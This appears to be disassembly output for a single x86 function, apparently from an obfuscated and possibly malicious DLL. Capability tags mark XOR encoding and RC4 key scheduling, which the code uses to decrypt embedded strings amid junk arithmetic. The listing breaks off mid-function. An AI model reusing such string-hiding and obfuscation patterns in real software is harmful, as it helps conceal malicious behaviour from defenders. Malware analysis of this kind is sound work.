Function at 0x1000641d
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x338
mov edx, 0x89
mov dword [ebp - 0x288], 0x1325
push esi
xor eax, eax
mov dword [ebp - 0x28c], edx
push edi
mov ecx, eax
mov dword [ebp - 0x284], 0xee0
mov dword [ebp - 0x280], edx
mov dword [ebp - 0x27c], 0xaff
test ecx, ecx
je 0x10006477
inc ecx
cmp ecx, 5
jl 0x1000646d
mov ecx, dword [ebp + ecx*4 - 0x28c]
lea edi, [ebp - 0x274]
xor ecx, 0x88
mov dword [ebp - 0x54], 0x39f32e29
mov dword [ebp - 0x238], ecx
mov esi, str.._AVwxwxDDEClientListNode__
push 7
pop ecx
rep movsd dword es:[edi], dword [esi]
imul esi, dword [0x1003e6c0], 0x23d5fe0
mov ecx, eax
mov dword [ebp - 0x50], 0x4324c2d5
mov dword [ebp - 0x4c], 0x5bc822c1
mov dword [ebp - 0x18], eax
or esi, 0xf2886b03
xor esi, 0xde8210f6
add esi, 0xb8eb289
mov dword [ebp - 0x14], esi
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100064d3
mov edi, eax
mov dword [ebp - 0x44], 0x1b
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x40], cl
div dword [ebp - 0x44]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x274]
add eax, dword [ebp - 0x18]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x18], ecx
mov al, byte [ebp + ecx - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x228], al
cmp edi, 0x100
jb 0x100064ec
xor eax, eax
mov dword [ebp - 0x9c], 0xc
mov dword [ebp - 0x5c], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x5c]
push 0xc
mov cl, byte [ebp + esi - 0x228]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x5c], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + esi - 0x228], al
mov eax, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + esi - 0x228]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edi - 0x54]
mov byte [ebp + edi - 0x2e8], al
inc edi
pop eax
cmp edi, eax
jb 0x10006547
mov esi, dword [ebp - 0x14]
xor eax, eax
mov ecx, eax
and esi, 0x7cb141b6
inc ecx
cmp word [ecx*2 + str.DllGetVersion], ax
jne 0x100065a8
cmp ecx, 0x11ed
jbe 0x100065d5
mov ecx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
call fcn.100056db
add esi, 0xc126fbc3
xor eax, eax
jmp 0x100065db
and esi, 0xa8d76c55
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x274]
push 6
pop ecx
mov esi, str.6_6_646_6D6L6T66d6l6t6
mov byte [ebp - 0x2dc], al
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x54], 0x1da1e285
mov ecx, eax
mov dword [ebp - 0x50], 0xc0d9691d
mov dword [ebp - 0x4c], 0xb5e03b39
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x14]
add esi, 0x38feef16
mov dword [ebp - 0x24], eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10006618
mov edi, eax
mov dword [ebp - 0x128], str.prezi.com
mov dword [ebp - 0x18], edi
xor edx, edx
mov dword [ebp - 0xa4], 0x18
mov eax, edi
mov cl, byte [ebp + edi - 0x228]
div dword [ebp - 0xa4]
mov byte [ebp - 0x40], cl
and esi, 0x4f42c764
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x274]
add eax, dword [ebp - 0x24]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x24], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edi - 0x228], al
call fcn.10003c14
and dword [ebp - 0x5c], 0
cmp byte [str.vtable_constructor_called_recursively:__s], 0
mov dword [ebp - 0x1c], esi
je 0x100066b5
mov edi, dword [ebp - 0x5c]
call fcn.10005333
and esi, 0xe583ae15
inc edi
mov dword [ebp - 0x1c], esi
cmp byte [edi + str.vtable_constructor_called_recursively:__s], 0
jne 0x10006697
mov dword [ebp - 0x5c], edi
mov edi, dword [ebp - 0x18]
mov edx, str.prezi.com
mov ecx, esi
call fcn.1000319e
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x68]
cmp ecx, eax
jae 0x100066fa
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov dword [ebp - 0xa4], edx
cmp ecx, 0x24cc
lea esi, [edx - 0x7dc320f6]
cmovne esi, edi
xor esi, 0xf6923801
inc ecx
mov edx, esi
mov edi, esi
cmp ecx, eax
jb 0x100066d6
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x68], ecx
mov eax, dword [ebp - 0x24]
inc edi
mov cl, byte [ebp - 0x40]
mov dword [ebp - 0x18], edi
mov byte [ebp + eax - 0x228], cl
cmp edi, 0x100
jb 0x10006637
push 0x1d
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x120]
pop ecx
mov esi, str.HKEY_LOCAL_MACHINESoftwareApple_Computer__Inc.Safari
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push 0x73
pop ecx
mov edx, eax
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x120]
jne 0x10006764
mov esi, ecx
mov ecx, eax
test si, si
je 0x10006764
cmp word [ebp + ecx - 0x120], ax
je 0x10006764
inc edx
lea ecx, [edx + edx]
movzx esi, word [ecx + str.sandcats]
cmp si, word [ebp + ecx - 0x120]
je 0x10006740
movzx eax, byte [ebp + edx*2 - 0x120]
movzx ecx, byte [edx*2 + str.sandcats]
sub ecx, eax
cmp ecx, 0x1b7d
jae 0x1000678d
call fcn.100033db
mov eax, dword [ebp - 0x14]
xor eax, 0x809ae4ea
jmp 0x10006795
mov eax, dword [ebp - 0x14]
or eax, 0xe13e477
push str.skipfindff
mov dword [0x1003e6c0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov al, byte [str.1_1_1_1_10141H1L1d1h1l1p1t1x1]
mov ecx, dword [0x1003e6c0]
mov byte [ebp - 0x40], al
test al, al
je 0x100067ec
mov esi, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
push str.vtable_constructor_called_recursively:__s
mov edx, str.prezi.com
call fcn.1000516c
pop ecx
mov ecx, dword [0x1003e6c0]
or ecx, 0x297a3da1
inc esi
mov dword [0x1003e6c0], ecx
cmp byte [esi], 0
jne 0x100067bc
mov al, byte [str.1_1_1_1_10141H1L1d1h1l1p1t1x1]
mov byte [ebp - 0x40], al
xor eax, eax
mov dword [ebp - 0x18], eax
mov edx, eax
mov edi, eax
lea eax, [ecx - 0xbd173fe]
imul esi, eax, 0x61a0de75
lea eax, [edx + 1]
xor esi, 0xde9dfbdf
movzx eax, al
and esi, 0xb1e326ab
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xa4], esi
mov esi, dword [ebp - 0x24]
mov cl, byte [ebp + eax - 0x228]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
push 0xc
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + esi - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
mov eax, esi
mov esi, dword [ebp - 0xa4]
movzx eax, byte [ebp + eax - 0x228]
add eax, edx
mov edx, dword [ebp - 0x24]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edi - 0x54]
mov byte [ebp + edi - 0x2d8], al
inc edi
pop eax
cmp edi, eax
jb 0x10006801
push 0x31
pop edx
xor eax, eax
mov dword [ebp - 0xdc], 0xd40
push 0xc
mov byte [ebp - 0x2cc], al
mov ecx, eax
mov dword [ebp - 0xd8], 0x1e65
mov dword [ebp - 0xd4], 0x384
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0xc8], 0x1c75
mov dword [ebp - 0xc4], 0x2e7
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], 0x1579
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], 0x23c9
mov dword [ebp - 0xb0], edx
pop edi
cmp ecx, 4
je 0x100068fc
inc ecx
cmp ecx, edi
jl 0x100068f2
mov ecx, dword [ebp + ecx*4 - 0xdc]
xor ecx, edx
mov dword [ebp - 0x80], 0x111f
mov dword [ebp - 0x22c], ecx
or esi, 0x505c04f0
mov ecx, 0xf5
mov dword [ebp - 0x7c], 0x129b
mov dword [ebp - 0x78], 0x1605
mov dword [ebp - 0x74], 0x237
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
cmp eax, 4
je 0x10006943
inc eax
cmp eax, 6
jl 0x10006938
mov eax, dword [ebp + eax*4 - 0x80]
add esi, 0x53e1b4d
xor eax, 0xf4
mov edx, str.DllGetVersion
push esi
push esi
mov dword [ebp - 0x23c], eax
call fcn.10005bdc
xor eax, eax
mov edi, esi
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
cmp byte [ebp - 0x40], al
je 0x10006987
or esi, 0x85be020
inc eax
mov edi, esi
cmp byte [eax + str.1_1_1_1_10141H1L1d1h1l1p1t1x1], 0
jne 0x10006972
mov dword [ebp - 0x24], eax
call fcn.10005530
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xa4], str.sandcats
cmp dword [ebp - 0x18], eax
jae 0x100069e2
mov esi, edi
mov ecx, str.vtable_constructor_called_recursively:__s
call fcn.100056db
cmp dword [ebp - 0x18], 0x1b4c
jne 0x100069c0
imul esi, edi, 0x749f7107
mov ecx, esi
call fcn.10003b8f
mov eax, str.sandcats
add esi, 0x67e57d02
mov edx, eax
mov ecx, eax
call fcn.10004978
mov eax, dword [ebp - 0x18]
mov edi, esi
inc eax
mov dword [ebp - 0x18], eax
cmp eax, dword [ebp - 0x24]
jb 0x100069a0
mov dword [ebp - 0x1c], str.DllGetVersion
push esi
mov edx, esi
mov ecx, str.vtable_constructor_called_recursively:__s
call fcn.100037b7
pop ecx
mov ecx, dword [ebp - 0x1c]
lea esi, [edi - 0x6e2c3a63]
add ecx, 2
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov edi, esi
cmp word [ecx], ax
jne 0x100069e9
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x7c]
mov esi, str.8_8.848_8B8Z8h8y8
mov word [ebp - 0x50], 0xddcc
push 0x1c
pop ecx
mov dword [ebp - 0x64], ecx
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x4e], cl
push 0x1f
pop ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], ecx
mov byte [ebp - 0x46], cl
mov ecx, eax
mov dword [ebp - 0x4d], 0x64eb8461
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x49], 0x1a6d
mov byte [ebp - 0x47], 0x28
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10006a4d
mov esi, eax
xor edx, edx
mov dword [ebp - 0x68], 0x11
mov eax, esi
mov cl, byte [ebp + esi - 0x228]
div dword [ebp - 0x68]
mov byte [ebp - 0x1d], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x7c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x228]
mov byte [ebp + esi - 0x228], al
inc esi
mov al, byte [ebp - 0x1d]
mov byte [ebp + edi - 0x228], al
cmp esi, 0x100
jb 0x10006a5f
xor eax, eax
mov dword [ebp - 0x18], eax
call fcn.10004f39
mov esi, dword [ebp - 0x14]
xor eax, eax
mov ecx, eax
imul esi, esi, 0xb91ff69e
inc ecx
cmp word [ecx*2 + str.sandcats], ax
jne 0x10006ab8
mov dword [ebp - 0x24], ecx
mov edx, esi
push esi
mov ecx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov dword [ebp - 0x14], esi
call fcn.100037b7
mov edi, dword [ebp - 0x98]
pop ecx
cmp edi, dword [ebp - 0x24]
jae 0x10006b1d
mov dword [ebp - 0x1c], esi
jmp 0x10006af0
mov esi, dword [ebp - 0x68]
call fcn.10005333
cmp edi, 0x1e12
jne 0x10006b06
mov esi, dword [ebp - 0x1c]
and esi, 0xf2ae971b
and esi, 0x3f14fe32
inc edi
mov eax, esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x68], eax
cmp edi, dword [ebp - 0x24]
jb 0x10006aed
xor edi, edi
mov dword [ebp - 0x24], 0xb
mov esi, edi
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x18]
push 0xb
mov cl, byte [ebp + esi - 0x228]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + esi - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + esi - 0x228]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edi - 0x50]
mov byte [ebp + edi - 0x2bc], al
inc edi
pop eax
cmp edi, eax
jb 0x10006b28
mov esi, dword [ebp - 0x14]
xor eax, eax
push 0x68
pop edx
add esi, 0xb7436bb6
mov dword [ebp - 0xcc], edx
push 9
mov dword [ebp - 0xc4], edx
and esi, 0xd5e6f39c
mov dword [ebp - 0xb0], edx
mov ecx, eax
pop edx
mov byte [ebp - 0x2b1], al
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xd0], 0x25f8
mov dword [ebp - 0xc8], 0x3e1
mov dword [ebp - 0xc0], 0xe06
mov dword [ebp - 0xbc], 0x584
mov dword [ebp - 0xb8], 0x48c
mov dword [ebp - 0xb4], 0x217f
mov dword [ebp - 0x68], edx
cmp ecx, 3
je 0x10006bff
inc ecx
cmp ecx, edx
jl 0x10006bf5
mov ecx, dword [ebp + ecx*4 - 0xd0]
lea edi, [ebp - 0xcc]
xor ecx, 0x69
mov byte [ebp - 0x54], 0xe7
push 0x1b
mov dword [ebp - 0x240], ecx
mov esi, str.invalid_compression_buffer_size
pop ecx
mov byte [ebp - 0x53], cl
push 0x1c
pop ecx
mov byte [ebp - 0x52], cl
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x51], 0x5e5af8a5
mov ecx, eax
mov dword [ebp - 0x4d], 0xd5c5dc50
mov byte [ebp - 0x49], 0xe9
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10006c43
add dword [ebp - 0x14], 0xb72a8
mov edi, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x1d], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xcc]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x1d]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x10006c5e
mov esi, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
xor esi, 0xefb16e0d
movzx eax, al
mov dword [ebp - 0x1c], eax
imul esi, esi, 0x7b74a5ed
push 0xc
mov cl, byte [ebp + eax - 0x228]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x60], edx
mov edx, dword [ebp - 0x1c]
and esi, 0xd58814bf
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edx - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
mov ecx, edx
movzx eax, byte [ebp + ecx - 0x228]
add eax, dword [ebp - 0x60]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edi - 0x54]
mov byte [ebp + edi - 0x2f8], al
inc edi
pop eax
cmp edi, eax
jb 0x10006cae
push 0x1f
pop eax
mov byte [ebp - 0x2ec], 0
mov word [ebp - 0x58], 0x9cec
mov byte [ebp - 0x56], 0xdb
mov byte [ebp - 0x55], al
mov dword [ebp - 0x54], 0x1740daad
mov dword [ebp - 0x50], 0x732b208
mov dword [ebp - 0x4c], 0x2fc51e7c
mov word [ebp - 0x48], 0xee6
mov byte [ebp - 0x46], 0x2e
call fcn.10005858
xor edi, edi
xor esi, 0x276226e4
inc edi
cmp byte [edi + str.prezi.com], 0
jne 0x10006d63
mov dword [0x1003e6c0], esi
call fcn.100033db
cmp edi, 0xd52
jae 0x10006d9e
imul esi, esi, 0x4cdd5ff3
push ecx
mov ecx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov edx, esi
call fcn.1000493c
add esp, 4
jmp 0x10006da4
xor esi, 0xb18e1f68
xor esi, 0xbbd07728
lea edi, [ebp - 0xdc]
push 0xc
mov dword [ebp - 0x14], esi
mov esi, 0x10033958
pop eax
mov ecx, eax
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10006dc6
mov esi, eax
mov dword [ebp - 0x60], 0x30
xor edx, edx
mov cl, byte [ebp + esi - 0x228]
mov eax, esi
mov byte [ebp - 0x1d], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xdc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x228]
mov byte [ebp + esi - 0x228], al
inc esi
mov al, byte [ebp - 0x1d]
mov byte [ebp + edi - 0x228], al
cmp esi, 0x100
jb 0x10006ddf
mov esi, str.4_454f4v4f5u5
mov dword [ebp - 0xa0], 0x13
lea edi, [ebp - 0x78]
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x14]
mov edi, eax
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x228]
mov byte [ebp - 0x1d], al
movzx eax, al
mov dword [ebp - 0x60], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edi - 0x228], al
mov eax, str.sandcats
mov edx, eax
mov ecx, eax
call fcn.10004978
mov al, byte [str.Windows_95_OSR2]
xor edx, edx
mov ecx, edx
cmp al, byte [ebp - 0x78]
jne 0x10006ea5
test al, al
je 0x10006ea5
cmp byte [ebp + ecx - 0x78], dl
je 0x10006ea5
mov al, byte [ecx + 0x1003e541]
inc ecx
cmp al, byte [ebp + ecx - 0x78]
je 0x10006e8e
movzx eax, byte [ebp + ecx - 0x78]
movzx ecx, byte [ecx + str.Windows_95_OSR2]
sub ecx, eax
cmp ecx, 0x1168
jne 0x10006ec3
add esi, 0xd538dbcd
jmp 0x10006ec9
xor esi, 0x6983e607
mov eax, dword [ebp - 0x18]
xor esi, 0x34cfbd30
mov cl, byte [ebp - 0x1d]
push 0x13
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + edi - 0x228]
add eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x1c]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + ecx - 0x58]
mov byte [ebp + ecx - 0x26c], al
inc ecx
pop eax
mov dword [ebp - 0x1c], ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x18]
jb 0x10006e46
xor esi, 0x9b591d5d
mov byte [ebp - 0x259], dl
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x60], edx
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xd4], edx
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xcc], 0x23c9
mov dword [ebp - 0xc8], 0x1939
mov dword [ebp - 0xc4], 0x2600
mov dword [ebp - 0xc0], 0x174e
mov dword [ebp - 0xbc], 0x22e4
mov dword [ebp - 0xb8], 0x231d
mov dword [ebp - 0xb4], 0x3c0
mov dword [ebp - 0xb0], edx
call fcn.100033db
push 6
pop ecx
mov esi, str.privatizehealthinsurance
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.vtable_constructor_called_recursively:__s]
xor eax, eax
mov byte [ebp - 0x10], cl
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x84]
jmp 0x10006fce
test cl, cl
je 0x10006fd3
cmp byte [ebp + eax - 0x84], 0
je 0x10006fd3
call fcn.100059fe
mov eax, dword [ebp - 0x18]
inc eax
mov cl, byte [eax + str.vtable_constructor_called_recursively:__s]
cmp cl, byte [ebp + eax - 0x84]
mov dword [ebp - 0x18], eax
je 0x10006faa
push ecx
mov edx, str.prezi.com
mov ecx, str.DllGetVersion
call fcn.100051fa
mov esi, dword [ebp - 0x14]
pop ecx
mov ecx, dword [ebp - 0x18]
movzx eax, byte [ebp + ecx - 0x84]
movzx ecx, byte [ecx + str.vtable_constructor_called_recursively:__s]
sub ecx, eax
cmp ecx, 0x819
jne 0x1000700b
xor esi, 0x5a07e71c
jmp 0x10007011
xor esi, 0xf84234f2
mov eax, dword [ebp - 0x60]
or esi, 0x99be5be8
xor edx, edx
mov dword [ebp - 0x14], esi
push 0xb
inc edx
pop ecx
cmp eax, edx
je 0x1000702c
inc eax
cmp eax, ecx
jl 0x10007023
mov ecx, dword [ebp + eax*4 - 0xd8]
xor eax, eax
mov dword [ebp - 0x244], ecx
mov ecx, eax
mov dword [ebp - 0x84], 0x2fc
mov dword [ebp - 0x80], 0x1e97
mov dword [ebp - 0x7c], 0x433
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], 0x1276
mov dword [ebp - 0x70], 0x2523
mov dword [ebp - 0x6c], edx
cmp ecx, 6
je 0x10007074
inc ecx
cmp ecx, 7
jl 0x10007069
mov ecx, dword [ebp + ecx*4 - 0x84]
lea edi, [ebp - 0x90]
mov esi, str.lcmnwtP
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x50], 0x425eb6ec
mov ecx, eax
mov dword [ebp - 0x4c], 0xad865e39
mov word [ebp - 0x48], 0xdf65
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x46], 0x72
mov dword [ebp - 0x1c], eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x14]
and esi, 0x1240200
or esi, 0x20121520
mov dword [ebp - 0x14], esi
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100070be
mov edi, eax
mov dl, byte [ebp + edi - 0x228]
mov eax, edi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x90]
add eax, dword [ebp - 0x1c]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x1c], ecx
mov al, byte [ebp + ecx - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov byte [ebp + ecx - 0x228], dl
cmp edi, 0x100
jb 0x100070d0
xor eax, eax
mov dword [ebp - 0x18], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x18]
push 0xb
mov cl, byte [ebp + esi - 0x228]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + esi - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + esi - 0x228]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edi - 0x50]
mov byte [ebp + edi - 0x2c8], al
inc edi
pop eax
cmp edi, eax
jb 0x10007119
mov esi, dword [ebp - 0x14]
xor edi, edi
cmp byte [ebp - 0x40], 0
je 0x1000718e
xor esi, 0xc6b18b7d
inc edi
cmp byte [edi + str.1_1_1_1_10141H1L1d1h1l1p1t1x1], 0
jne 0x1000717e
push str.DllGetVersion
push esi
mov edx, esi
mov ecx, esi
call fcn.1000413c
pop ecx
pop ecx
cmp edi, 0xbde
jbe 0x100071b4
call fcn.10003623
and esi, 0x9230f4f1
jmp 0x100071bf
call fcn.10004cad
add esi, 0x815bb1d2
mov ecx, 0xfe
imul esi, esi, 0xd89db562
xor eax, eax
mov dword [ebp - 0xd0], 0x23c1
mov byte [ebp - 0x2bd], al
mov edi, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xc8], ecx
or esi, 0x71476f45
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc0], 0x17c8
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xb4], 0x170d
mov dword [ebp - 0xb0], 0x9fa
call fcn.10003284
and esi, 0xe927e268
xor eax, eax
inc edi
cmp word [edi*2 + str.DllGetVersion], ax
jne 0x10007223
cmp edi, 0xbaf
jne 0x10007259
and esi, 0x15c225ed
mov edx, str.DllGetVersion
push esi
push esi
call fcn.10005bdc
pop ecx
pop ecx
jmp 0x1000725f
add esi, 0x94583903
mov eax, dword [ebp - 0x60]
push 9
pop ecx
cmp eax, 2
je 0x1000726f
inc eax
cmp eax, ecx
jl 0x10007265
mov eax, dword [ebp + eax*4 - 0xd0]
lea edi, [ebp - 0x74]
add esi, 0xe51ff7d3
mov dword [ebp - 0x54], 0xa487db2d
mov dword [ebp - 0x60], esi
xor eax, 0xff
mov esi, str.NULL_buffer
mov dword [ebp - 0x278], eax
push 0x73
pop edx
mov byte [ebp - 0x4e], dl
mov edx, str.DllGetVersion
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x50], 0xdfd3
mov dword [ebp - 0x4d], 0x5a7eccbe
mov byte [ebp - 0x49], 0x89
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x60]
mov ecx, edi
call fcn.10004436
xor esi, esi
mov dword [ebp - 0x1c], edi
call fcn.10004831
inc esi
sub edi, 0xb436a68
cmp byte [esi + str.prezi.com], 0
jne 0x100072c4
mov eax, str.sandcats
mov edx, eax
mov ecx, eax
call fcn.10004978
cmp esi, 0x1c6c
jae 0x10007302
call fcn.10005530
mov esi, dword [ebp - 0x1c]
add esi, 0xb9184dc5
jmp 0x10007314
call fcn.100033db
imul esi, dword [ebp - 0x1c], 0x26deee2b
sub esi, 0x476f8f78
and esi, 0x8b075cc9
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10007321
mov edi, eax
mov dword [ebp - 0x1c], eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x1d], cl
div dword [ebp - 0x24]
movzx ecx, cl
and esi, 0x6a3d0826
add esi, 0x3c915a81
mov dword [ebp - 0x14], esi
movzx eax, byte [ebp + edx - 0x74]
add eax, dword [ebp - 0x18]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edi - 0x228], al
call fcn.10004bf7
push 0xd
pop ecx
mov esi, str.5_5_50585_5H5P5X5_5h5p55
lea edi, [ebp - 0xe0]
rep movsd dword es:[edi], dword [esi]
push 0x44
xor eax, eax
pop ecx
mov dword [ebp - 0x5c], eax
cmp cx, word [ebp - 0xe0]
jne 0x100073d3
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x100073d3
cmp word [ebp + ecx - 0xe0], ax
je 0x100073d3
call fcn.10004cad
mov eax, dword [ebp - 0x5c]
inc eax
push 0
mov dword [ebp - 0x5c], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.DllGetVersion]
pop eax
cmp dx, word [ebp + ecx - 0xe0]
je 0x100073a1
call fcn.10003284
mov edi, dword [ebp - 0x60]
mov esi, dword [ebp - 0x14]
cmp edi, dword [ebp - 0x5c]
jae 0x1000740d
call fcn.10004bf7
cmp edi, 0x2fb
jne 0x100073f6
and esi, 0x4cc41a85
and esi, 0x4902868a
call fcn.10004cad
inc edi
cmp edi, dword [ebp - 0x5c]
jb 0x100073e3
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x14], esi
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
inc edi
mov al, byte [ebp - 0x1d]
mov dword [ebp - 0x1c], edi
mov byte [ebp + ecx - 0x228], al
cmp edi, 0x100
jb 0x10007336
xor edx, edx
mov ecx, edx
mov dword [ebp - 0x1c], edx
mov eax, edx
inc eax
mov dword [ebp - 0x60], edx
movzx eax, al
lea edi, [ebp - 0xdc]
mov dword [ebp - 0x18], eax
mov esi, str.GdiplusNotificationHook
push 0xc
mov al, byte [ebp + eax - 0x228]
mov byte [ebp - 0x1d], al
movzx eax, al
mov dword [ebp - 0x94], eax
add eax, ecx
movzx ecx, al
pop eax
mov dword [ebp - 0x24], ecx
mov ecx, eax
push 0x73
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0xdc]
jne 0x100074ca
mov ecx, eax
mov edi, edx
mov eax, edx
test cx, cx
